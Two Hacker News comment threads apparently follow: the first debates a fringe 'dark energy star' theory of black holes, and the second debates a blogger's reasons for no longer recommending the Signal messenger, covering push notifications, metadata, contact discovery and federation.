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Are Black Holes Actually Dark Energy Stars? - starbugs
http://nautil.us/blog/are-black-holes-actually-dark-energy-stars
======
chc
I've seen a couple of articles about this guy recently and they both struck me
as weirdly credulous given the apparently complete lack of evidence supporting
his theory and the fact that approximately no other scientists seem to find it
credible.
~~~
joe-collins
At least at the pop-science level, his ideas connect a lot of dots. He'd
neatly resolve the weirdness and mystery of black holes, their jets, their
information paradox, and dark energy. It feels good.
Whether or not any of it makes a lick of sense once you start actually
crunching numbers is another question. The lack of interest from other
scientists leaves me skeptical (even if I'm silently enamored of the neatness
myself).
~~~
Semiapies
Yep. I've been hearing mentions of this guy's theories from pop science
publications for years even though, as the article says, "The idea has found
no support in the astrophysical community—over the last decade, Chapline’s
papers on this topic have garnered only single-digit citations."
The pop science press is depressingly bad.
~~~
philipov
"Dark Energy Star" is pure marketing speak, and the pop science press loves
sexy terms like that, whereas to serious physicists a hyphy phrase like that
is going to throw all sorts of red flags, the same way an engineer would be
appalled by someone boasting about Chaos Engineering. It's usually referred to
as the Cosmological Constant instead.
------
hinkley
We have people like string theorists thinking about higher dimensions in
space.
It occurred to me the other day when the dark matter article hit the front
page that our equation for gravity works with three dimensions but those
dimensions are uniform. I can turn an object with very little effort
(literally without doing work) and it’s the same size from our perspective.
How would it work if matter has more dimensions that aren’t proportional, or
if space is curved in higher dimensions and the differences are in the noise
floor here on earth and in orbit?
~~~
klodolph
> I can turn an object with very little effort (literally without doing work)
> and it’s the same size from our perspective.
I can't reproduce your experiment... I tried turning a piece of paper. At
first it looked, say, about as large as a cantaloupe, but when I turned it got
smaller and smaller until it practically disappeared, and it becomes very
tiny... basically nothing more than a thin line in space. At certain angles I
can barely see it at all. What is going on?
~~~
whatshisface
The distance between any two ink dots remained constant as you rotated the
paper, which is what you would expect when the metric is x^2+y^2+z^2. If the
"dimensions were not uniform," then the same transformation may alter the
distances. Perhaps the parent is on their way to discovering relativity.
------
russdill
This seems to try and make a parallel between neutron stars and his proposal
of a "dark energy star". This uber-dense matter would stop matter from
collapsing enough to form an event horizon.
But there is a serious problem with this. If you measure the density of a
black hole by using it's even horizon you'll find that the mass and event
horizon do not scale together. For instance, calculated in this way, a
galactic mass black hole has a density of only 200kg/m³.
~~~
pmalynin
It actually is true thought, that some supermassive blackholes have a density
thats pretty close to that of water, and their event horizons are very very
gentle.
~~~
m4x
I think this is only the case if you consider the mass density to be uniform
within the event horizon, which isn't true.
~~~
russdill
Right, but I don't know how else to interpret what he's claiming. Singularity
or no singularity, if there's an event horizon, there's a black hole.
------
lottin
"The fabric of space-time" — I hear this a lot, but what does it mean? Does it
mean that space and time are a "fabric"? What is such a fabric made of? The
idea that space and time are actual objects, instead of intellectual
constructs, has always struck me as wrong. (I'm not a physicist.)
~~~
philipov
It's usually referred to as a fabric because in general relativity, spacetime
is dynamic, as if it were on a fabric that could stretch and contract in
response to the density of matter occupying it. This is where the rubber-sheet
analogy comes from.
As for what it is made of, that is one of the great open questions in
theoretical physics right now, but also possibly where the analogy breaks
down. Because of Lorentz Invariance (light travels at the same speed in all
reference frames), it is hard to suppose that there is such a thing as "atoms
of spacetime" from which it is made. However, because our world is
cosmological and the big bang does actually pick out a preferred reference
frame, Lorentz Invarience has to be approximate in some way.
Because of cosmology and the breakdown of reductionism at plank scales, it
seems that the notion of spacetime itself is approximate and needs to be
replaced with something else. Some people are trying to derive spacetime from
purely quantum mechanical notions, while other people are trying to find dual
systems where spacetime and quantum mechanics emerge hand-in-hand. The two
approaches I'm familiar involve either holography or purely geometric and
combinatorial ideas where the principles of general relativity and quantum
mechanics are outputs rather than assumptions.
[https://www.youtube.com/watch?v=WECVq2YBduY&t=0s&index=9&lis...](https://www.youtube.com/watch?v=WECVq2YBduY&t=0s&index=9&list=PLOchmQOEwXhEIAnI-
pyHQlrCnEhmxGnQD)
~~~
dsnuh
Thanks for linking to the video, it was the most informative handling of the
subject I have seen.
After watching, I have a question, please forgive if it is ridiculous or
displays some fundamental problem with my layman's understanding of the
subject.
If time becomes space-like, and space becomes time-like, can we think of black
holes as "time stars"? Would every black hole within our observable universe
contain information from all light cones within the observable universe? In
other words, would different black holes contain different information?
Does my question make sense?
~~~
codethief
I'm afraid I don't have the time to watch the entire video but, being a
physicist, I can still try to answer your questions. Currently, however, your
question
> If time becomes space-like, and space becomes time-like, can we think of
> black holes as "time stars"?
doesn't make much sense to me. Time does not become spacelike nor does space
become timelike. In General Relativity, time and space are not individually
defined in an observer-independent fashion in the first place. The terms we
use instead are "timelike directions" and "spacelike directions" as well as
timelike / spacelike hypersurfaces because they are defined in such a way that
all observers will agree on whether a direction / hypersurface is timelike /
spacelike. So now that we've replaced the terms "time" and "space" with
"timelike" and "spacelike", I hope you'll see that your question is not
exactly well-defined.
But maybe I'm misunderstanding you, so please feel free to elaborate on your
questions. (Or to point me to an explanation from the video in case you're
referring to one.)
As for your second question:
> Would every black hole within our observable universe contain information
> from all light cones within the observable universe? In other words, would
> different black holes contain different information?
I'm afraid I can't follow this question, either. Would you mind rephrasing it?
My initial impression is that you might have a wrong idea of what a lightclone
is.
~~~
dsnuh
I just realized I was replying to the wrong parent comment! So sorry. I was
talking about a PBS Space Time episode on YouTube I saw in (or came across
via) a different comment.
[https://youtu.be/KePNhUJ2reI](https://youtu.be/KePNhUJ2reI)
~~~
codethief
No worries, I hadn't watched the video yet, anyway. :) So feel free to
rephrase your questions if you like!
~~~
dsnuh
My questions were based in the video I linked above, which it sounds like may
be incorrect in the way it presents the topic?
~~~
codethief
Judging from the few minutes I watched, it is at least not very precise, yes.
What they mean when saying that "time and space switch roles inside a black
hole" is that in standard Schwarzschild coordinates, the direction given by
the time coordinate becomes spacelike at the event horizon and, likewise, the
radial coordinate becomes timelike. This statement is specific to
Schwarzschild coordinates, though, or, more generally, any coordinate system
that is singular/ill-defined at the event horizon. There are coordinate
systems, however, that don't exhibit this pathological behavior at the horizon
and, there, no switching occurs.
------
clubm8
I find the idea of a photo of a black hole more interesting than this dark
energy star. It didn't seem to be mentioned in the article: when will this
"Event Horizon Telescope" have enough data to show us an event horizon?
~~~
codethief
From their blog[1]:
> As the EHT team begins to analyze the 2017 data on Sgr A* and M 87 over the
> coming months, preliminary images will begin to emerge, and the searches for
> the signatures of orbiting material around the black holes will be
> conducted. It is the most exciting time of the project.
[1] [https://eventhorizontelescope.org/blog/eht-status-update-
may...](https://eventhorizontelescope.org/blog/eht-status-update-may-1-2018)
------
macawfish
The thing is, dark energy is only dark because it doesn't interact
electromagnetically, whereas black holes are dark because the light gets
trapped. So these are very different concepts.
I think it's fair to say black holes are a kind of "star", but the concept of
dark energy and dark matter are something else.
~~~
chriswarbo
> dark energy is only dark because it doesn't interact electromagnetically
That's certainly the case for dark _matter_. After decades of work we still
don't know what it is, which has given the word "dark" the additional meaning
of 'unknown'.
When it comes to dark _energy_ , I think it mostly implies this second
meaning.
------
scythe
The big giant glaring hole in his theory is that the total mass of all the
black holes in the Universe is _WAY_ less than the amount of dark energy. It's
like claiming that the Pacific Ocean was filled in by the Sacramento River.
That's why scientists aren't taking it seriously.
------
hinkley
I managed to confuse myself into a Zeno’s paradox situation with how black
holes grow.
This is really exotic space. Time dialation immediately outside of the event
horizon would make any matter fall so slow that it would take millions of
years of time for an observer to see that material cross the horizon.
~~~
Chabs
Outside observers never see the material cross the horizon, ever. That's why
it's called a horizon, you'll never reach it (from the pov of an outside
observer).
Growth-wise, you have to keep in mind that the black hole doesn't grow when
matter crosses the horizon, but when the matter gets close enough to the
horizon that mass of black hole + mass of new matter creates a blackhole of a
larger radius that encompasses that matter.
~~~
takk309
Would this be one way that information would not be destroyed, at least from
the reference frame of the outside observer?
~~~
0898
Question if you don't mind. This "information being destroyed" thing. What do
they mean by information? Isn't information a human construct? How is the
universe supposed to know what information is?
~~~
knodi123
A fun way to imagine it is with Maxwell's Demon.
[https://en.wikipedia.org/wiki/Maxwell%27s_demon](https://en.wikipedia.org/wiki/Maxwell%27s_demon)
That is an example of one way in which information can be exchanged for work.
~~~
smogcutter
This is me being dense, but I don't see the connection to parent's question.
Is it that the demon uses information (the speed of the particles?) to perform
work (decrease entropy)? But also not really, bc that would violate the 2nd
law of thermodynamics? I understood parent's question to be what the heck does
"information" mean in this context to begin with. My question too, because I'm
pretty sure I've got the wrong answer myself.
~~~
Chabs
Information as actual physical property (as opposed to a human construct) is
basically the only way we found to solve Maxwell's demon seemingly reducing
entropy.
Specifically, the entropy within the box gets converted into information
inside the demon's "head", which eventually gets radiated away as entropy
outside the box. This way, the box's entropy falls, but the entropy of
universe as a whole is raised (or at least maintained).
------
stupidcar
If the EHT analysis of Sagittarius A* supported this theory, that would surely
it would have already leaked? It seems like it would be simply too incredible
not to start circulating amongst researchers and then get out into the wider
world.
------
Trombone12
A article about "alternative" black holes without the word LIGO in it? Yeah,
I'm gonna have to stop you right there and ask you to sell that snek oil
somewhere else.
------
laretluval
Found an interesting technical summary/critique of these ideas
[https://motls.blogspot.com/2005/03/chapline-black-holes-
dont...](https://motls.blogspot.com/2005/03/chapline-black-holes-dont-
exist.html)
~~~
qubex
Pretty savage...
~~~
21
This guy doesn't have all the screws properly tightened. Just saying...
------
PerryCox
How likely is this to be the case over Black Holes?
~~~
princekolt
No one knows for sure. However it's good to have alternative models to look
into if the observational data you eventually get (in this case from the EHT)
doesn't match precisely with the mainstream model.
------
zoggenhoff
What is dark energy?
~~~
sulam
When you sum up all the red shifts of a large piles of galaxies they are
receding from us at speeds faster than can easily be explained using the
Hubble model. One theory for this is a repulsive energy of a form we have not
yet observed, dubbed "dark energy", which is purported to be causing
accelerating expansion of the universe since the Big Bang. More here:
[https://en.wikipedia.org/wiki/Dark_energy](https://en.wikipedia.org/wiki/Dark_energy)
------
Sarki
On another note a theory which seems to fit particularly well is called Janus.
The concept lies in the existence of a twin universe (ours being matter based
the twin being antimatter based) merged together where the black holes are
basically where the antimatter is concentrated and thus repulses all the
matter hence this seemingly void. This is a succint summary but I hope it
makes sense to the more knowledgeable readers of HN.
~~~
Trombone12
That makes no sense, black holes are like super much the opposite of a void.
Further, repulsion is precisely the opposite of gravity.
~~~
Sarki
Actually, as far as I get it, black holes just don't exist: it's a journalist
term coined for a mathematical concept. In short a black hole is how we call
the possible existence of a place in the universe where there is no time nor
energy, but it's no more than a mathematical possibility in the end as these
are common variables in astrophysics.
~~~
chriswarbo
Black holes exist, in the sense that we have observed several phenomena that
can be easily explained by the presence of a black hole, but which couldn't be
explained otherwise. For example the orbits of stars around Sagittarius A* (
[https://en.wikipedia.org/wiki/Sagittarius_A*](https://en.wikipedia.org/wiki/Sagittarius_A*)
) and the X-ray emmission of Cygnus X-1 (
[https://en.wikipedia.org/wiki/Cygnus_X-1](https://en.wikipedia.org/wiki/Cygnus_X-1)
).
> In short a black hole is how we call the possible existence of a place in
> the universe where there is no time nor energy
I don't know where you got this idea, but black holes don't have "no time" and
they contain _lots_ of energy (often several stars' worth).
Keep in mind that time is relative, so when talking about extreme situations
like black holes it's important to keep track of what we're talking _relative
to_. In particular, if an astronaut left a space ship, approached a black
hole, passed beyond the event horizon and carried on going, that astronaut
wouldn't really notice: if they looked forwards into the black hole they'd
just see normal looking space, if they looked backwards they'd see their ship
just as if they'd not entered the black hole. Relative to the astronaut, space
and time appear completely normal; hence it doesn't make sense to talk about
black holes having "no time".
Things would look different relative to the ship: the image of the astronaut
they see would redshift as it approached the event horizon, and would also
slow down until it came to a stop when at the horizon.
Note that this ignores tidal forces, which can be large around small black
holes (the astronaut would certainly notice if their body were torn apart!).
For large black holes like Sagittarius A* the tidal forces at the event
horizon should be small enough to ignore.
~~~
Sarki
Thanks for the clarification, perhaps I was misleading, the point being that
black holes have been deduced by mathematical interpretation, not observation
of a phenomenon and today as per your own example we're still trying to find
proof of their existence.
On the other hand, based on my understanding of the Janus model as I said in
my first comment, the location of the seemingly void places are actually
explained by the concentration of antimatter, which repulses matter through
gravity. A possibly wrong summary of what I'm visibly struggling to
communicate: This model explains how on the same way matter concentration
attracts matter and rejects anti-matter, antimatter concentration attract
antimatter and rejects matter.
| {
"pile_set_name": "HackerNews"
} |
Why I won't recommend Signal anymore - maglavaitss
https://sandervenema.ch/2016/11/why-i-wont-recommend-signal-anymore/
======
zigzigzag
Like a lot of crypto-puritanism it is rather mixed up. He says he recommended
Signal because it was easy to use (more consumer friendly I guess) and secure,
then says he wouldn't have gone in the direction of making it easier to use
and criticises the things that make it user friendly, like using phone numbers
instead of usernames.
He says he thinks the protocol is secure, then says he doesn't want it to use
GCM because it routes messages via Google who he doesn't trust (fixing that is
the point of the encryption) and then talks about an attack that'd apply to
any app regardless of whether it used GCM or not.
He finishes with a call to action: _" We as a community need to come up with a
viable solution and alternative to Signal that is easy to use and that does in
fact respect people’s choices ... this tool should not have dependencies on
corporate infrastructure"_
But like a lot of armchair moralising, he isn't willing to debate the hard
choices that go into building successful software. He says it should "respect
people's choices" as if Signal is built by people who are disrespectful, he
says it should not have dependencies on "corporate infrastructure" as if
volunteer run datacenters actually exist, and then says his motivation is
avoided paywalls, ignoring that both Signal and WhatsApp are free.
It reads like a collection of talking points rather than a coherent argument.
Signal is unusual because it combines cutting edge cryptography with consumer
friendliness and is actually successful. It's pragmatic, not ideological.
Crypto-warriors have a long history of producing secure software that nobody
uses and then blaming the general public for not getting it; this sort of blog
post is just a continuation of this decades long trend.
~~~
tptacek
I agree overwhelmingly with what you wrote, except that I want to point out
that this isn't "crypto-puritanism". It's just hipsterism. The author isn't a
cryptographer, and if you asked a panel of 10 cryptographic engineers what
messaging system they'd recommend, 9 of them would say "Signal".
The 10th wants you to use something else because they're working on an attack
for that "something else", and want their paper to be splashier when it's
released. :)
When reading critiques of messaging software, keep in mind that messaging is a
fucking midnight back-alley knife fight of a market. For whatever reason --- I
think because (a) basic chat software is pretty easy to write, with a near-
hello- world payoff similar to, say, blog software for Ruby on Rails and (b)
because there have been multi-billion-dollar acquisitions of messaging tools
--- there are a _lot_ of different messaging products. Messaging is a network-
effect market, so all the different vendors are fighting for users.
I don't think Signal has sockpuppets (it's just not their style), but I _know_
several other "secure" messaging applications do.
~~~
moxie
I think these types of posts are also the inevitable result of people
overestimating our organizational capacity based on whatever limited success
Signal and Signal Protocol have had. It could be that the author imagines me
sitting in a glass skyscraper all day, drinking out of champagne flutes,
watching over an enormous engineering team as they add support for animated
GIF search as an explicit fuck you to people with serious needs.
I invite those who have opinions about Signal to start by getting involved in
the project. To my knowledge the author of this blog post has never submitted
a PR, issue, or discussion post to any of our repositories or forums. Many of
these points are things that we would like to address, and we could use the
help. The day to day reality of developing apps like these is a lot of work.
To provide some color on a few of these:
> Dependency on Google Cloud Messaging
To clarify this for casual readers, no data at all is transmitted over GCM.
GCM is only used as a push event to tell the Signal Android client to wake up
and connect to the Signal server to retrieve messages from the queue if the
app isn't in the foreground.
This is pretty fundamentally just how Android works. However, people who want
to use Google's OS without any Google services flash custom ROMs onto their
devices that are missing this dependency.
I have said many times that I have no problem with supporting these custom
ROMs. But I would like someone from that community to submit the PR: "I would
consider a clean, well written, and well tested PR for websocket-only support
in Signal. I expect it to have high battery consumption and an unreliable user
experience, but would be fine with it if it comes with a warning and only runs
in the absence of play services."
Nobody has done it.
> Your contact list is not private
First, on Android 6+ you can just disable the contacts permission and
everything works (although you obviously won't see your contact names).
However, we also spend a lot of time thinking about this class of problems, as
well as metadata in general. Right now things are playing out alright for one
specific class of attack:
[https://whispersystems.org/bigbrother/eastern-virginia-
grand...](https://whispersystems.org/bigbrother/eastern-virginia-grand-jury/)
We'd obviously like to do even better. The nice thing about having a
centralized service is that we can eventually take steps in this direction.
People seem to equate federation with meta-data hiding for reasons I've never
totally understood, but I think serious metadata protection is going to
require new protocols and new techniques, so we're much more likely to see
major progress in centralized rather than distributed environments (in the
same way that Signal Protocol is now on over two billion devices, but we're
unlikely to ever see even basic large scale email end to end encryption).
> Lack of federation
I've tried to write about why I don't feel like this is going to be a part of
our future here: [https://whispersystems.org/blog/the-ecosystem-is-
moving/](https://whispersystems.org/blog/the-ecosystem-is-moving/)
However, I would love it if someone proved me wrong. The Signal clients and
server already support federation, so there shouldn't be any technical hurdles
stopping the people who are really into federation from using our software to
start their own federated network that demonstrates the viability of their
ideas.
If anyone needs help doing that, let me know. I'd be happy to help.
~~~
mirimir
Thanks for the clarifications.
> First, on Android 6+ you can just disable the contacts permission and
> everything works (although you obviously won't see your contact names).
This is very good.
> However, we also spend a lot of time thinking about this class of problems,
> as well as metadata in general. Right now things are playing out alright for
> one specific class of attack: [federal subpoena]
Good, so Open Whisper Systems has no metadata. Do any third parties retain
metadata about Signal messages?
There's also the issue of mobile numbers. I get that more-or-less anonymous
numbers are doable. But arguably, most Signal users don't have anonymous
numbers. However, maybe this is a non-issue, if the only data available are
"the date and time a user registered with Signal and the last date of a user's
connectivity to the Signal service". Is that it?
~~~
exo762
> Good, so Open Whisper Systems has no metadata. Do any third parties retain
> metadata about Signal messages?
I'll try to answer to the best of my knowledge (I'm not associated with
project, I'm just a happy customer).
Does your ISP know that you are communicating with Signal servers? Yes, IP
addresses.
Does it know to whom you are sending messages? No.
Does Google know you are using Signal? Yes.
Does it know whom of your contacts use Signal? Yes, because they have a full
list of your contacts and they know if someone has installed Signal.
Does Google know you've sent a message? No.
Does Google know that you are receiving a message? Sometimes, because Signal
servers ping your device via GCM with "wake up".
Does Google knows who from your contact list send this message? No, unless you
have only one contact who uses Signal.
Can Google infer from pings who is communicating with whom? Yes, although
pings are needed only if app has disconnected from server, and this severely
limits usefulness of this technique.
Where else may any metadata coming from usage of Signal be? Nowhere.
As for Google having your contact list... Take a look into Flock.
~~~
mirimir
Thanks :)
I get that Signal is probably the best option for smartphones. And that maybe
its vulnerabilities are only relevant for "TAO targets". But the problem is
that "TAO targets" is in rapid flux, given developments in automation and AI.
So arguably, more and more journalists and dissidents are becoming vulnerable.
And there's the fundamental insecurity of devices with cellular-radio
connectivity, and operating systems that users can't control and lock down.
Signal can do nothing about that. Even something as simple as reliably
obscuring identity in connections to Signal servers is nontrivial.
~~~
exo762
> But the problem is that "TAO targets" is in rapid flux, given developments
> in automation and AI.
You are implying that cost of TAO consists mostly of labor costs. Which is
false. NSA and friends are not really limited by money. They are limited by
amount of unpatched software vulnerabilities. Every use of vulnerability in
the wild is a chance of revealing it to world and losing it. Snowden docs
reveal the existence of automated software which evaluates chance of
vulnerability being revealed by attack. XKeyScore or one of related pieces,
AFAIR.
------
tptacek
The author of this post believes that by making a stand over Signal policies
he doesn't like (the superficial GCM dep, the OWS-only server policy, the
contact list discovery system), something more like LibreSignal will grow to
take Signal's place.
The author is wrong. LibreSignal won't replace Signal. Something like Telegram
will: an "open source" messaging system with inferior cryptography, "opt-in"
end-to-end messaging, a long-term dependency on the telephone system for
authentication, and a far "cuddlier" personality with its users and, more
importantly, with people from the app development community (like the author).
Telegram will continue to gain adoption, because sexy beats sound in every
end-user match up. Signal is the closest thing sound cryptography has to a
palatable solution for end users.
Iran has already compromised Telegram users, because it systemically trades
security off for user adoption. They'll get more of them, and people will hang
from cranes as a result.
It's not wrong to criticize Signal. Signal does things I don't love, too! But
we should be clear-eyed about the market.
~~~
sandervenema
Hi, author here. I don't think LibreSignal or indeed Signal will ever be the
dominant mobile messenger out there. There's simply a lot of inertia to fight
against. It's the same reason why it's hard to convince e.g. Facebook friends
to move to a different social network, why Google+ failed, etc. Whenever the
social aspect gets involved, companies can very easily create lock-in by being
early, and then the social aspect will prevent the majority of people from
considering changing, because 'it works'.
I never said that LibreSignal will replace Signal, and frankly, LibreSignal
itself is not the solution either. But maybe LibreSignal will be the catalyst
to a better solution.
We all want to prevent people hanging from cranes, but crypto alone does not
equal privacy, does not keep you safe, especially not in those countries,
where rubber hose cryptanalysis
([https://xkcd.com/538/](https://xkcd.com/538/)) is much more common. In those
dangerous situations/countries, good operational security practices are better
to avoid detection/suspicion than using any 'magic' crypto messaging app.
~~~
tptacek
You don't understand what I'm saying. I agree that crypto alone doesn't equal
privacy --- it's table stakes. Clearly: it does not follow from that
observation that crypto doesn't matter. If you cannot _at least be
cryptographically secure_ , the rest of what you do doesn't matter.
We now have two examples --- CryptoCat and Telegram --- of "secure messaging"
systems being used by governments as a way of hunting down activists. Why do
we need more? Can't the question be settled now?
As gently as I can, I'm going to push a little further. I poked around your
site a little to get a sense of where you're coming from. Your post today
opens up like this:
_One of the things I do is cryptography and infosec training for
investigative journalists who have a need to keep either their sources and
communications confidential so they can more safely do their work in the
public interest._
Can I ask what your qualifications are in training journalists in keeping
their communications secure? Investigative journalists working in hostile
regimes, even in smaller countries, are facing adversaries that are better
funded than almost any other imaginable threat. Cryptography is incredibly
hard. Elsewhere on the thread, you said "I'm not a cryptographer". Neither am
I! I've spent the better part of 10 years getting decent at breaking
cryptosystems for clients, and I still refuse to do privacy implementation
work, because I'm simply not up to the challenge. Are you sure you are?
~~~
sandervenema
Regarding qualifications: I spent years building secure technology
(publication platforms, websites) for whistleblowers including Ed Snowden
himself (I built his official website
([https://edwardsnowden.com](https://edwardsnowden.com)) for the Courage
Foundation (his official defence fund) plus the tech behind it that supports
it. This allows our editors to submit anonymously to the site through the Tor
network.
I used cryptographic software as an end-user for many years, like GPG for
instance, and agree that it's hard, and we need to train people to use correct
security habits (infosec and opsec), to minimise exposure to hostile elements.
I've tought at cryptoparties and other events, I have spoken to many
intelligence whistleblowers, some of which I consider to be close friends, and
they've told me about some of the techniques used on the national intelligence
agency level and how wrong use of crypto and general bad operational security
practices can expose you. So while I'm not a trained cryptographer, and do not
claim to be, I have extensive experience not only building secure software,
but also, thanks to whistleblowers know about some of the ins and outs of the
intelligence industry re crypto and surveillance.
~~~
sandervenema
One thing I wanted to add, regarding the tech: of course I do that in
cooperation with other people some of who are indeed trained cryptographers.
~~~
tptacek
Who are those people? There aren't many of them, in, like, the world.
~~~
sandervenema
True, they are rare. On another unrelated project I'm working together with
Bill Binney, the cryptographer who wrote ThinThread at NSA. That's all I can
currently say about it.
------
clumsysmurf
Unfortunately, Google has made it (almost) impossible to wake up the phone via
some external event without using its proprietary GCM. Even though GCM is not
part of AOSP, it has unique status on the platform that can't easily be
replicated (without recompiling the kernel, etc like the article mentions).
Before the days of doze mode & other battery optimizations, you could just
listen & block on a socket, then let the phone go to sleep. Incoming 3G
packets would wake up the phone, you grab a wakelock, then start doing things.
From what I remember, at least a while ago Facebook Messenger did this using
MQTT. But this is not possible any more.
~~~
Mathnerd314
Kind of tangential, but GCM is deprecated and you're supposed to use Firebase
Cloud Messaging now: [https://firebase.google.com/docs/cloud-
messaging/](https://firebase.google.com/docs/cloud-messaging/)
It's still just a JAR (no native components), so AFAICT there's no technical
reason someone else couldn't do a similar thing with their own servers.
~~~
kuschku
> It's just a JAR (no native components)
I’ve reversed it, and rebuilt an alternative
The jar you include actually opens just an IPC channel to the Google Play
Services framework, which runs with system permissions, and handles the actual
stuff.
You can’t implement your own FCM without having root access on EVERY Android
phone out there.
~~~
Mathnerd314
Maybe not. Although there's this guy: [https://eladnava.com/pushy-a-new-
alternative-to-google-cloud...](https://eladnava.com/pushy-a-new-alternative-
to-google-cloud-messaging/), it seems like his library doesn't work very well
after Nougat.
~~~
kuschku
From Android 6 on, Doze just terminates apps running in background after a
while. The only network access that is allowed is GCM.
Which causes the entire issue.
I wrote a complaint to the EU privacy official responsible for them and the EU
antitrust committee.
~~~
codethief
That's an excellent idea! Do you have a blog or something where you're going
to post when (if) you get a response?
------
SamWhited
I highly recommend Conversations (disclaimer: I've worked on it in the past,
although I'm not a project "member" per say):
[https://conversations.im/](https://conversations.im/)
It's open source, uses a federated, open protocol, and can do multiple types
of encryption including OTR and OMEMO (an XMPP wire format that uses the
Axolotl ratched devised for signal). It does not do VoIP, so it would just be
for chat (although there is a large bounty on Jingle-based voip support open).
It has also had a public security audit, and is designed to be white labeled
so you can tweak a few variables in the source and build your own hardended
version or encrypted-only version, etc.
~~~
giancarlostoro
Curious for next time I evaluate XMPP is there a list of servers recommended
by the Conversations team that people could install themselves? My issue with
XMPP is that on the same system I have at DigitalOcean where I could run: an
IRC server, a Web Server, and a Mumble Server and extra goodies all together
in one box, I couldn't effectively run a XMPP server that would stay up (it
would crash). I would of kept at XMPP had I found a decent memory efficient
server that didn't merely crash.
~~~
majewsky
I have a virtual server (1 CPU + 1 GiB RAM) running nginx, murmur and Prosody.
free(1) reports 80 MiB used memory, thereof 10 MiB for Prosody. (I just have
one active account, though: myself.)
So unless you're planning on hosting hundreds or thousands of users, you
should be fine IMO.
~~~
giancarlostoro
I had not even 3 users... I was running a Java one, looks like Prosody is
worth it's salt. Does it support E2E and other features that Conversations
supports? :)
Edit:
I was running it on a DigitalOcean box with only 512MB of ram at the time,
which I found a bit silly that I would come back and the server was down, but
it was a different XMPP server than Prosody.
~~~
catdog
You probably used Openfire, known to be a memory hog and a bit unstable.
Simply go for prosody and you should be fine (ejabberd should also be OK).
Some newer XEPs which you may want to have with Conversations are not
supported OOTB in prosody (yet) but there are plugins distributed separately
[1][2].
[1] [https://modules.prosody.im/](https://modules.prosody.im/) [2]
[https://prosody.im/doc/installing_modules](https://prosody.im/doc/installing_modules)
~~~
giancarlostoro
Yes that was the culprit! OpenFire sounds like it... I wanted something simple
to setup, without too many terminal incantations. Thanks for the information,
it's invaluable.
------
SapphireSun
Essentially this guy is saying, Signal is secure, it's mostly easy to use
(with the exception of multiple phone numbers), and the only alternative he
mentioned is a half broken clone. Is he seriously going to stop recommending
it to people whose lives depend on secure communications because of some
abstruse ideological point? In any case, Moxie's position is a reasonable one
even though there are some arguments for federation.
While my current phone doesn't support Signal, once I get a new one I will
continue to use it _.
_ You might opine that allowing Signal clones would allow me to use the app,
but they would almost certainly be maintained by people who aren't really
crypto experts, and so it's better to operate as though I am broadcasting in
cleartext than to pretend that I'm not and get burned.
~~~
kuschku
The biggest argument is that there is little of a difference between Signal
and Telegram or Signal and WhatsApp for the user if they are forced to use the
official servers, and those servers get to store their entire social graph.
~~~
SapphireSun
Here's what Moxie said about this issue:
[https://whispersystems.org/blog/contact-
discovery/](https://whispersystems.org/blog/contact-discovery/)
~~~
wtbob
And here's my write-up of how a private set-intersection protocol could be
used to enable users to securely swap contacts:
[https://news.ycombinator.com/item?id=11289223](https://news.ycombinator.com/item?id=11289223)
It's a solved problem, but Signal doesn't implement it.
~~~
bascule
The protocol you describe is a synchronous online protocol where Alice and Bob
have to be online at the same time (and if they're doing this at Charlie's
behest, so does Charlie). Signal is designed for asynchronous communication
where both participants don't have to be online to discover each other or send
each other message.
Also, how does this protocol even help? What's the use case? It allows
participants to discover mutual contacts, but what then? Do we use Bob as a
web-of-trust style introducer? What if Alice doesn't even want to talk to
Charlie? Do we do this for all the friends Alice has in common with Bob? Do we
do this for all the friends Alice has in common with everyone? Does Charlie
initiate the process, only to have it only work if all three of them are
online at the same time? Who kicks it off and why, and what would the user
experience be?
You end your last post with "So, problem solved" but I'm not sure this
protocol even solves any practical problems for the Signal use case, and seems
like a mere first step of solving a much more complicated problem of actually
trying to turn this into a useful feature with good UX.
~~~
wtbob
> The protocol you describe is a synchronous online protocol where Alice and
> Bob have to be online at the same time (and if they're doing this at
> Charlie's behest, so does Charlie).
They don't actually have to be _online_ at the same time (and they don't care
about whether Charlie is online or not: it's a pairwise protocol): they just
to be able to send and receive one another messages, and to store state.
Fortunately the former is some Signal's quite good at, and storing state is
something that phone hard drives are quite good at.
> Also, how does this protocol even help? What's the use case? It allows
> participants to discover mutual contacts, but what then? Do we use Bob as a
> web-of-trust style introducer? What if Alice doesn't even want to talk to
> Charlie? Do we do this for all the friends Alice has in common with Bob? Do
> we do this for all the friends Alice has in common with everyone?
It's the exact same use case as Signal's existing contact-discovery code, only
private: it enables Alice & Bob to share information about a mutual
acquaintance, e.g. Charlie. This might be used to share Charlie's key ID, in a
trust on first use style. Note that this is no less secure than everyone
everywhere trusting Open Whisper Systems on first use.
The idea is that when one starts using Signal, one exchanges keys in some out-
of-band mechanism (NFC is a likely candidate) with an acquaintance, and then
from that person get keys of mutual acquaintances, and from then others, and
so on and so forth. Whenever you add a new acquaintance, one can reiterate the
same protocol with all previous acquaintances (it's amenable to batching, too,
which is nice) in order to propagate that information.
It _may_ have some interesting uses in a certificate transparency sense, but I
don't know about that.
> You end your last post with "So, problem solved" but I'm not sure this
> protocol even solves any practical problems for the Signal use case
It solves the exact same problems the Signal contact-discovery protocol
solves, without actually revealing all one's contacts to OWS. That's all. If
it did nothing more than that, it would be a good thing.
~~~
bascule
> It solves the exact same problems the Signal contact-discovery protocol
> solves, without actually revealing all one's contacts to OWS.
Except it doesn't. If you share your contacts with Signal, it can tell you
which ones are on Signal.
If Alice shares her contacts with Bob, she may discover some contacts she has
in common with Bob, but not necessarily which ones are Signal users. Perhaps
Bob has talked to Charlie some time in the past using Signal, but perhaps not.
So if we run this chatty, online, synchronous protocol with each of your
contacts you already know are on Signal who happen to be online at a given
time (which will be a subset of all your contacts), you may-or-may-not
discover some of your contacts use Signal.
In my previous post I was really asking about the user experience angle, which
you didn't respond to at all, so rather than asking a question, let me simply
say: I think this feature (at least in as much as I can conceive of it being
used) would provide a poor user experience.
~~~
wtbob
> If Alice shares her contacts with Bob, she may discover some contacts she
> has in common with Bob, but not necessarily which ones are Signal users.
> Perhaps Bob has talked to Charlie some time in the past using Signal, but
> perhaps not.
The contacts which would be shared would be _Signal_ contacts, identified by
some public identifier like their phone number (which is the only public
identifier Signal currently supports; it could easily be extended to support
other identifiers though).
Yes, it won't reveal to Alice that her friend Etta is also using Signal, if
Etta and Alice don't have anyone in common. That's part of the privacy-
preserving feature which prevents _Signal_ from knowing who's using it, and
whom everyone knows.
Given the small-world phenomenon, the odds are that one will very quickly add
most folks one knows about, and the others can be added manually.
